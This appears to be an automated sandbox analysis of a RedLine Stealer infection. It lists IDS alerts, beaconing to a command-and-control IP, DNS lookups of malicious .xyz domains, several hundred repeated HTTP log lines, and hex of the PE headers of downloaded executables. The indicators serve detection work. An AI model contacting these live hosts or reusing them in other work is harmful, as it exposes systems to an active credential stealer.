Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50364 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50365 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50366 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50367 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50368 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50369 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50370 -> 77.105.136.3:81

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 47.49.46.49 ports 20564,0,2,4,5,6

Performs DNS queries to domains with low reputation

Source:	DNS query: sidemark.xyz
Source:	DNS query: false.apparelsilver.xyz
Source:	DNS query: send.planewool.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 1203

Yara detected Generic Downloader

Source: Yara match

File source: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp, type: DROPPED

Source: unknown

Network traffic detected: DNS query count 35

Source: global traffic	TCP traffic: 192.168.2.5:49721 -> 95.142.47.11:1203
Source: global traffic	TCP traffic: 192.168.2.5:50218 -> 62.210.9.152:8080
Source: global traffic	TCP traffic: 192.168.2.5:50225 -> 208.100.26.245:8080
Source: global traffic	TCP traffic: 192.168.2.5:50226 -> 47.49.46.49:20564
Source: global traffic	TCP traffic: 192.168.2.5:50228 -> 77.105.136.3:81

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:52:13 GMTContent-Type: application/octet-streamContent-Length: 4724720Last-Modified: Mon, 24 Jul 2023 06:14:10 GMTConnection: keep-aliveETag: "64be16b2-4817f0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 53 52 69 63 68 92 86 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 47 fb 67 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 1f 00 ae 21 00 00 ee 0d 00 00 00 00 00 44 9e 19 00 00 10 00 00 00 c0 21 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 27 f7 48 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 19 2a 00 28 00 00 00 00 c0 2a 00 c0 bc 02 00 00 00 00 00 00 00 00 00 78 fc 47 00 78 1b 00 00 00 80 2d 00 18 5b 02 00 18 ab 24 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ab 24 00 18 00 00 00 a8 df 21 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 21 00 cc 02 00 00 18 ed 29 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f ad 21 00 00 10 00 00 00 ae 21 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 69 08 00 00 c0 21 00 00 6a 08 00 00 b2 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 8b 00 00 00 30 2a 00 00 6a 00 00 00 1c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 bc 02 00 00 c0 2a 00 00 be 02 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:52:36 GMTContent-Type: application/x-msdos-programContent-Length: 1247744Connection: keep-aliveVary: User-AgentLast-Modified: Sat, 02 Dec 2023 03:41:44 GMTETag: "130a00-60b7ea9eab3a0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 a7 6a 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 09 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 13 00 00 04 00 00 bb ab 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9e 05 00 00 00 00 00 00 00 00 00 00 